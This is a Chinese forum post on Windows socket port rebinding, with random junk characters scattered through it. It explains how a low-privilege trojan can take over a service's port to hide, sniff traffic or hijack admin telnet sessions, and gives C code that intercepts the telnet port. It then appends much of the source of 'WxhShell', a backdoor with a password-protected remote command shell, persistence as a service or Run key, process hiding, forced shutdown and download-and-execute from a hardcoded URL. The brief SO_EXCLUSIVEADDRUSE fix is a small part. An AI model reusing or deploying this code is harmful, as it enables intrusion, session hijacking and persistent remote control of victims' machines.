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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6A$ \I44  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `[vm{+i  
^M60#gJ  
  saddr.sin_family = AF_INET; -z%| Jk  
=bm<>h7.)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p-QD(+@M  
GrWzgO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <a_Q1 l  
VY }?Nb<&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <{U "0jY!9  
.<8kDyi m  
  这意味着什么?意味着可以进行如下的攻击: :G?6Hl)~)  
'LY.7cW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FbRq h|  
}$-;P=k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G5~ Jp#uA  
"_Wv,CYmNr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Aa^%_5  
nRKh|B)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  78't"2>  
!9+xKr99  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0&!,+  
[43:E*\$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mouLjT&p  
%<cfjo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3=( Gb  
83io@*D  
  #include XD>(M{~  
  #include *T(z4RVg  
  #include V@6,\1#`|  
  #include    9z)p*+r UK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EMy Med_  
  int main() "p<B|  
  { %hcn|-" F  
  WORD wVersionRequested; dD _(MbTt  
  DWORD ret; fhCMbq4T  
  WSADATA wsaData; rv/O^aL`Y  
  BOOL val; x| jBn}  
  SOCKADDR_IN saddr; /(#;(]  
  SOCKADDR_IN scaddr; 04eE\%?  
  int err; i@7b  
  SOCKET s; =b+W*vUAw  
  SOCKET sc; h`X>b/V  
  int caddsize; kaBP& 6|Z  
  HANDLE mt; F2QX ^*  
  DWORD tid;   tBSHMz  
  wVersionRequested = MAKEWORD( 2, 2 ); D,FX&{TYU  
  err = WSAStartup( wVersionRequested, &wsaData ); BJzNh>-#=  
  if ( err != 0 ) { QH:PClW![  
  printf("error!WSAStartup failed!\n"); NYS |fa  
  return -1; E .2b@  
  } b(<#n6a}\  
  saddr.sin_family = AF_INET; lCmTm  
   ? OrRTRW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2%0J/]n\A"  
7g'jg7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7GN>o@t  
  saddr.sin_port = htons(23); G$b*N4yR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k+8K[ ?K-  
  { tYE\tbCO'  
  printf("error!socket failed!\n"); mj\]oWS7d  
  return -1; a`]Dmw8@  
  } ')ZM# :G  
  val = TRUE; >z&|<H%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S.,om;`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N_AAhD  
  { `~${fs{-`/  
  printf("error!setsockopt failed!\n"); s zgq7  
  return -1; $LxfdSa  
  } :Iy4 B+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eBw6k09C+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9 F"2$;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Sz<%d7XIQ  
%bs6Uy5g)a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [ArPoJt  
  { Ns^[Hb[b'  
  ret=GetLastError(); Q};g~b3  
  printf("error!bind failed!\n"); |7 .WP;1  
  return -1; ,yZvT7  
  } u 3&9R)J1  
  listen(s,2); KHK|Zu#k '  
  while(1) Q& p'\6~  
  { 0taopDi ;d  
  caddsize = sizeof(scaddr); <+0TN]?  
  //接受连接请求 Knd2s~S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xW`,@a }  
  if(sc!=INVALID_SOCKET) B2}|b^'I  
  { y]dA<d?u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eVDO]5?  
  if(mt==NULL) _*(n2'2B  
  { 'IR2H{Q  
  printf("Thread Creat Failed!\n"); s@Q, wa(  
  break; +YS0yTWeX  
  } t)O8ON  
  } EX]LH({?+L  
  CloseHandle(mt); !nPwRK>  
  } JqX+vRY;dd  
  closesocket(s); =#tQhg,_  
  WSACleanup(); )U>JFgpIW  
  return 0; !G`7T  
  }   .?C-J  
  DWORD WINAPI ClientThread(LPVOID lpParam) *)+K+J  
  { Q/JX8<7K  
  SOCKET ss = (SOCKET)lpParam; :cx}I  
  SOCKET sc; VR/*h%  
  unsigned char buf[4096]; (5-4`:1ux  
  SOCKADDR_IN saddr; znNJ?  
  long num; :E$<!q  
  DWORD val;  4[\[Ho  
  DWORD ret; D #<)q)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8efQ -^b.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WH@CH4WM  
  saddr.sin_family = AF_INET; jB"?iC.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w=ZSyT-i  
  saddr.sin_port = htons(23); 4P1<Zi+<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3,Dc}$t  
  { 8IX:XDEQ  
  printf("error!socket failed!\n"); m2j&v$  
  return -1; h3}gg@Fm  
  } 5)IJ|"]y  
  val = 100; 3hN.`G-E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d[cqs9=\  
  { ]HpKDb0+  
  ret = GetLastError(); A7|CG[wZ  
  return -1; '+@q  
  } !uoQLiH+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9>@@W#TK~  
  { f&z@J,_=  
  ret = GetLastError(); I U Mt^z  
  return -1; V>8)1)dF  
  } s>pOfXIx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^oL43#Nlo  
  { 1$Jria5n  
  printf("error!socket connect failed!\n"); 47GL[ofY  
  closesocket(sc); T7wy{;  
  closesocket(ss); lur$?_gt  
  return -1; s,tZi6Z=%E  
  } U',.'"m  
  while(1) pl-2O $  
  { $p(,Qz(.8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l'pu?TP{a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {*X8!P7C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Qh 3V[br  
  num = recv(ss,buf,4096,0); 5|4=uoA<  
  if(num>0) )ZyEn%  
  send(sc,buf,num,0); )_MIUQ%  
  else if(num==0) 4 ^=qc99  
  break; =nq9)4o  
  num = recv(sc,buf,4096,0); M-K.[}}-d  
  if(num>0) JTK0#+?  
  send(ss,buf,num,0); 9PU9BYBG  
  else if(num==0) r35'U#VMk?  
  break; l> Mth+ ,b  
  } wFgL\[$^|  
  closesocket(ss); wRc=;f  
  closesocket(sc); ?r`UBR+[  
  return 0 ; r]C`#  
  } S$=e %c  
TQcEe@$)  
=:|fN3nJ2  
========================================================== ylV.ZoY6  
8-A * Jc  
下边附上一个代码,,WXhSHELL z_Nw%V4kr  
~#doJ:^H3  
========================================================== .^?^QH3  
JOR ? xCc  
#include "stdafx.h" g_2m["6*  
w&M)ws;$  
#include <stdio.h> EmaVd+Sw  
#include <string.h> QO'=O}e  
#include <windows.h> vYYLn9}5  
#include <winsock2.h> k 5<[N2D|!  
#include <winsvc.h> :+Pl~X"_  
#include <urlmon.h> D92#&,KD  
>=|;2*9v  
#pragma comment (lib, "Ws2_32.lib") |;L%hIR[  
#pragma comment (lib, "urlmon.lib") 5`ma#_zk|f  
DwQa j"1<%  
#define MAX_USER   100 // 最大客户端连接数 if S) < t  
#define BUF_SOCK   200 // sock buffer wbC'SOM  
#define KEY_BUFF   255 // 输入 buffer bt$+l[U^J  
`OY_v=}  
#define REBOOT     0   // 重启 }F*u 9E  
#define SHUTDOWN   1   // 关机 ng ZkBX  
VTDp9s  
#define DEF_PORT   5000 // 监听端口 [@Db7]nG  
-&#H@Gyw  
#define REG_LEN     16   // 注册表键长度 Iw ? M>'l  
#define SVC_LEN     80   // NT服务名长度 2 |fN*Wm  
H:~41f[  
// 从dll定义API q><E?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'qosw:P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =xs{Ov=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D@Zb|EI%<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~%6GF57gC  
LnN6{z{M  
// wxhshell配置信息 Ha~g8R&  
struct WSCFG { mSWh'1]b.~  
  int ws_port;         // 监听端口 mkfU fG&  
  char ws_passstr[REG_LEN]; // 口令 0 ]v:Ix  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9d7$Fz#  
  char ws_regname[REG_LEN]; // 注册表键名 w$JG:y#  
  char ws_svcname[REG_LEN]; // 服务名 t~xp&LQiY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ fo2sN"   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I2@pkVv3z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ToUeXU [  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kf3yJP/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y<|vcg8x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k+^-;=u 6<  
t83n`LC  
}; Az_s"}G  
=O qw`jw  
// default Wxhshell configuration l \=M'D  
struct WSCFG wscfg={DEF_PORT, Z4\$h1tl  
    "xuhuanlingzhe", t^h {D   
    1, qTA@0fL  
    "Wxhshell", mdu5aL  
    "Wxhshell", S[o_$@|  
            "WxhShell Service", Nz+Jf57t  
    "Wrsky Windows CmdShell Service", ^Zh YW  
    "Please Input Your Password: ", :/HfMJ  
  1, Bc {#ia  
  "http://www.wrsky.com/wxhshell.exe", LbGyD;#_  
  "Wxhshell.exe" NX?J  
    }; ';buS -|6  
.P[ %t=W  
// 消息定义模块 ,B>Rc#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l\W[WQP h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z}'*zB>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~=5vc''  
char *msg_ws_ext="\n\rExit."; ;!(.hCHvr  
char *msg_ws_end="\n\rQuit."; 4_3 DQx9s  
char *msg_ws_boot="\n\rReboot..."; _"8\k 7S*  
char *msg_ws_poff="\n\rShutdown..."; ~ #Gu:  
char *msg_ws_down="\n\rSave to "; e2~i@vq  
F=C8U$'S  
char *msg_ws_err="\n\rErr!"; * %p6+D-C  
char *msg_ws_ok="\n\rOK!"; _ i )Z8#  
fu/v1Nhm  
char ExeFile[MAX_PATH]; pU`4bT(w%  
int nUser = 0; K (yuL[p`  
HANDLE handles[MAX_USER]; P7n+@ L$  
int OsIsNt; L3 M]06y  
iP1u u  
SERVICE_STATUS       serviceStatus; ]9?_ m@Ihx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v_*E:E  
p&=F:-  
// 函数声明 >= Hcw  
int Install(void); L 6){wQ%c  
int Uninstall(void); wVD-}n1"  
int DownloadFile(char *sURL, SOCKET wsh); 3Q^@ !hu  
int Boot(int flag); C% <[mM  
void HideProc(void); t@-:e^ v  
int GetOsVer(void); y 1fl=i  
int Wxhshell(SOCKET wsl); O$B]#]L+  
void TalkWithClient(void *cs); 5B{O!SNd  
int CmdShell(SOCKET sock); FJ3Xeo s4|  
int StartFromService(void); >a98 H4  
int StartWxhshell(LPSTR lpCmdLine); /U[Y w)  
Ek'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jcF/5u5e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T`46\KkN  
UO}Kk*  
// 数据结构和表定义 \HF h?3-g  
SERVICE_TABLE_ENTRY DispatchTable[] = e[}R1/! L  
{ 3`4g*wO  
{wscfg.ws_svcname, NTServiceMain}, hQrO8T?2  
{NULL, NULL} [#H$@g|CT  
}; 6C>x,kU  
:g/HN9  
// 自我安装 =8 d`qS"  
int Install(void) HPs$R [  
{ _$"qC[.  
  char svExeFile[MAX_PATH]; @= )_PG  
  HKEY key; O&]Y.Z9,A  
  strcpy(svExeFile,ExeFile); VF=$'Bl|  
|r5|IA  
// 如果是win9x系统,修改注册表设为自启动 Kd CPt!  
if(!OsIsNt) {  L's_lC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M")v ph^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4O[T:9mn0  
  RegCloseKey(key); *""'v   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y+ P\5G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >:5/V0;,  
  RegCloseKey(key); ciI;U/V  
  return 0; /AWV@ '  
    } |_HH[s*U  
  }  3+"z  
} &| el8;D  
else { [-_u{j  
f;#hcRSH  
// 如果是NT以上系统,安装为系统服务 9>d$a2 nc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _QfA'32S  
if (schSCManager!=0) 9)s=%dL  
{ $+zev$f  
  SC_HANDLE schService = CreateService %1a\"F![  
  (  V3K  
  schSCManager, /og2+!  
  wscfg.ws_svcname, %0@Jm)K^  
  wscfg.ws_svcdisp, c3]ZU^  
  SERVICE_ALL_ACCESS, z+&mMP`-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >f4H<V-  
  SERVICE_AUTO_START, \MQ|(  
  SERVICE_ERROR_NORMAL, V[Fzh\2n  
  svExeFile, +j&4[;8P:  
  NULL, >V@-tT"^:  
  NULL, U aj8}7v  
  NULL, 0Z8K+,'!  
  NULL, wgpu]ooUF&  
  NULL M?x/C2|  
  ); aGx`ec*t  
  if (schService!=0) v/\l  
  { 0Pu$1Fp  
  CloseServiceHandle(schService); `omZ'n)  
  CloseServiceHandle(schSCManager); _/MHi-]/.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4]u53`  
  strcat(svExeFile,wscfg.ws_svcname); :84fd\It4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U-#wFc2N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3i=+ [  
  RegCloseKey(key); 6pM[.:TM   
  return 0; )t{?7wy  
    } E$=!l{Ms  
  } %fnL  
  CloseServiceHandle(schSCManager); u.x>::i&  
} &z8@  rk|  
} LJ`*&J   
5ycccMx0V  
return 1; TZTi:\nS  
} 4,!#E0  
v^0D  
// 自我卸载 e<6fe-g9;  
int Uninstall(void) Z0s}65BR  
{ zMxHJNQ\D  
  HKEY key; .z4 fJx  
[KMW *pA7  
if(!OsIsNt) { {Y6U%HG{{r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NK;%c-r0v7  
  RegDeleteValue(key,wscfg.ws_regname); _TY9!:&}q  
  RegCloseKey(key); UUJbF$@;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5P-7"g ca  
  RegDeleteValue(key,wscfg.ws_regname); $!%/Kk4M  
  RegCloseKey(key); }m0* w3  
  return 0; pyYm<dn  
  } / E}L%OvE  
} s9+Rq*Qd  
} uMKO^D  
else { =+;l>mn?O  
?~c=Sa-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kN_ i0~y@-  
if (schSCManager!=0) i#]}k  
{ b5lZ||W.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s :ig;zb  
  if (schService!=0) 6U~AKq"+f  
  { o~<Xc  
  if(DeleteService(schService)!=0) { kqy d3Si>  
  CloseServiceHandle(schService); Ro3C(aRx  
  CloseServiceHandle(schSCManager); F|pM$Kd`  
  return 0; E#}OIZ\S  
  } " O0p.o  
  CloseServiceHandle(schService); "g27|e?y  
  } C'$w*^me  
  CloseServiceHandle(schSCManager); M|8vP53=q  
} 55Z)*JMv  
} 8 p D$/  
~ +DPq|-O  
return 1; j'r"_*%  
} #C^)W/dP  
w]L^)_'Th  
// 从指定url下载文件 1OI/!!t1$  
int DownloadFile(char *sURL, SOCKET wsh) R 6JHRd  
{ 'kBg3E$y  
  HRESULT hr; H.ha}0 J  
char seps[]= "/"; >D]g:t@v  
char *token; -YvnX0j+  
char *file; c_"=G#^9@i  
char myURL[MAX_PATH]; +/O3L=QyJ  
char myFILE[MAX_PATH]; r~rftw  
NJ]AxFG  
strcpy(myURL,sURL); fh%|6k?#M  
  token=strtok(myURL,seps); m&S *S_c  
  while(token!=NULL) suOWmqLs  
  { ,X`w/ 2O  
    file=token; ;Aqj$ x  
  token=strtok(NULL,seps); tKS'#y!R  
  } a+mrsyM  
U80h0t%  
GetCurrentDirectory(MAX_PATH,myFILE); ehTrjb3k  
strcat(myFILE, "\\"); Nyx)&T&I  
strcat(myFILE, file); XXD LbT'J  
  send(wsh,myFILE,strlen(myFILE),0); jouA ]E  
send(wsh,"...",3,0); j_3`J8WwF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 33},lNS|  
  if(hr==S_OK) 8 $qj&2 N  
return 0; VW`SqUl  
else <aQ<Wy=\  
return 1; sHqa(ynK  
3xIelTf*  
} Xb<>AzEM  
Z ".Xroq~  
// 系统电源模块 jK-b#h.gL  
int Boot(int flag) xmNs%  
{ Gf=3h4  
  HANDLE hToken; (S~kNbIa  
  TOKEN_PRIVILEGES tkp; Z% DJ{!Hnh  
oRZ98?Y\B  
  if(OsIsNt) { %?hvN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AqiH1LAE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Ki!j<  
    tkp.PrivilegeCount = 1; ${)oi:K@:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w,i?e\5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r;^%D(  
if(flag==REBOOT) { N7u|< 0[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $b~[>S-Q  
  return 0; 9.%t9RM^  
} P$x9Z3d_  
else { >PzZt8e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4/ WKR3X  
  return 0; b:5-0uxjs  
} *Z$W"JP  
  } R<B5<!+  
  else { %M3L<2  
if(flag==REBOOT) { -UM|u_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f(G1xw]]@Y  
  return 0; 5sANF9o!  
} 9W0*|!tQ,+  
else { ypgM&"eR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5T%2al,F`  
  return 0; <+-=j  
} f^-ot@w  
} *c\XQy  
h'HI92; [  
return 1; NB4 Q,iq$  
} * RyU*au  
L+S)hgUH  
// win9x进程隐藏模块 t`="2$NO  
void HideProc(void) Q6HghG  
{ Z($i+L%.  
!Rc %  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?YMBZ   
  if ( hKernel != NULL ) b}DC|?~M  
  { }h sNsQ   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eR,/} g\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O,Tp,w T  
    FreeLibrary(hKernel); ?em8nZ'  
  } HUMy\u84H  
5S8>y7knQ  
return; o l41%q*  
} sE'c$H  
$E&T6=Wn  
// 获取操作系统版本 c9G%;U)  
int GetOsVer(void) QJj='+R>  
{ t=X=",)f  
  OSVERSIONINFO winfo; @dk-+YxG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /7])]vZ_  
  GetVersionEx(&winfo); '#yqw%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) er5!n e  
  return 1; &TY74 w*  
  else Z1jxu;O(  
  return 0; uJCp  
} 6}m`_d?  
`kJ)E;v;3  
// 客户端句柄模块 P JATRJ1.  
int Wxhshell(SOCKET wsl) g5y`XFY  
{ cE:s\hG  
  SOCKET wsh; >O<a9wz  
  struct sockaddr_in client; {f\wIZ-K A  
  DWORD myID; ?)J/uU2w  
YnuY/zDF  
  while(nUser<MAX_USER) -yB}(69  
{ '5 Yzo^R;  
  int nSize=sizeof(client); HA8A}d~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J/jkb3  
  if(wsh==INVALID_SOCKET) return 1; 26g]_Igq  
McN[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lHtywZ@%3  
if(handles[nUser]==0) 4VZI]3K,  
  closesocket(wsh); iphC\*F  
else >vp4R`  
  nUser++; triU^uvh  
  } X+ITW#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SFRP ?s  
<wk  
  return 0; 3nG.ah  
} BW7AjtxQ&  
w.w{L=p:<"  
// 关闭 socket 72d|Jbd  
void CloseIt(SOCKET wsh) aaig1#a@1b  
{ ]CF-#q}'  
closesocket(wsh); LWv<mtuYf  
nUser--; @>Yd6C  
ExitThread(0); z^U+ oG  
} ,Q56A#Y\  
^T!Zz"/:  
// 客户端请求句柄 R|8vdZ%@  
void TalkWithClient(void *cs) Q__CW5&'u  
{ }yK7LooM  
w2.] 3QAZ  
  SOCKET wsh=(SOCKET)cs; #+1|O;PB#  
  char pwd[SVC_LEN]; )vS0Au^C~  
  char cmd[KEY_BUFF]; 5P\>$N1p  
char chr[1]; VkFh(Br<{  
int i,j; _# sy  
:oZ<[#p"*  
  while (nUser < MAX_USER) { 3_)I&RM  
Cw+boB_tip  
if(wscfg.ws_passstr) { d}4NL:=&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mwnr4$]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vHf)gi}O|  
  //ZeroMemory(pwd,KEY_BUFF); M!J7Vj?Ps  
      i=0; #@B"E2F  
  while(i<SVC_LEN) { #gQn3.PX+y  
btuG%D{a^  
  // 设置超时 oh8:1E,I  
  fd_set FdRead; 9,'m,2%W  
  struct timeval TimeOut; }_'5Vb_  
  FD_ZERO(&FdRead); .2f vRN92  
  FD_SET(wsh,&FdRead); }qiZ%cT.G  
  TimeOut.tv_sec=8; X} k;(rb  
  TimeOut.tv_usec=0; `MVqd16Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); syR"p,3EC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2|>\A.I|=  
\EfX3ghPI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ELCNf   
  pwd=chr[0]; +]%S}<R  
  if(chr[0]==0xd || chr[0]==0xa) { a&_ h(  
  pwd=0; '0D$C},^|8  
  break; C#U(POA  
  } n4k q=Z%  
  i++; wD9K\%jIr!  
    } yl-:9|LT  
,R[$S"]!SH  
  // 如果是非法用户,关闭 socket Y*c]C;%=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &zJI~R  
} \1<'XVS  
"0CFvN'4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J9mK9{#q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LlX)xJ  
Pzso^^g  
while(1) { IA`voO$  
Yj&Sb  
  ZeroMemory(cmd,KEY_BUFF); <VxA&bb7c  
1b9S";ct0  
      // 自动支持客户端 telnet标准   .==D?#bn  
  j=0; ;@ePu  
  while(j<KEY_BUFF) { fUjo',<s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zq};{~u(  
  cmd[j]=chr[0]; ,sL'T[tuiU  
  if(chr[0]==0xa || chr[0]==0xd) { OXQ*Xpc  
  cmd[j]=0; bB_LL  
  break; c[Fc3  
  } M|DMoi8x  
  j++; H~j@n!)  
    } ;"MChk  
\L*%?~  
  // 下载文件 Ugri _  
  if(strstr(cmd,"http://")) { 8oX1 F(R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gRY#pRT6d  
  if(DownloadFile(cmd,wsh)) g Q\.|'%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}@L"a`  
  else mo| D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (K[{X0T  
  } %> XsKXj  
  else { c-$rB_t+  
Xw4Eti._D  
    switch(cmd[0]) { 9+ 1{a.JO  
  oXG_6E!^  
  // 帮助 CPJ<A,V  
  case '?': { #<0Hvde  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x/s:/YN'  
    break; lM\dK)p21O  
  } xv]z>4@z,  
  // 安装 M}|(:o3Yo  
  case 'i': { ` i[26Qb  
    if(Install()) )O[8 D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r)t[QoD1  
    else v<1@"9EH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6C\T@{lJ  
    break; \tgY2 :  
    } 9~UR(Ts}l  
  // 卸载 f+:iz'b#U  
  case 'r': { L2VwW  
    if(Uninstall()) :qo[@x{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 8w\[AF{$  
    else c^W;p2^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1])>m_ct  
    break; &;$uU  
    } 2* g2UP  
  // 显示 wxhshell 所在路径 &E`Nu (e  
  case 'p': {  P@O_MT  
    char svExeFile[MAX_PATH]; &kb~N-  
    strcpy(svExeFile,"\n\r"); V[.{cY ?6  
      strcat(svExeFile,ExeFile); /gu VA  
        send(wsh,svExeFile,strlen(svExeFile),0); ':4ny]F  
    break; )>ff"| X  
    } iF`_-t/k  
  // 重启 g]f<k2  
  case 'b': { "r6qFxY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xsZN@hT  
    if(Boot(REBOOT)) |)7K(R)(=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = o(}=T>:"  
    else {  m}yu4  
    closesocket(wsh); CAc]SxLh  
    ExitThread(0); g+o$&'\  
    } F>.y>h  
    break; s`x2Go  
    } />xEpR3_A  
  // 关机 ]{tWfv|Xg8  
  case 'd': { 3Y P! B=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w^L`"  
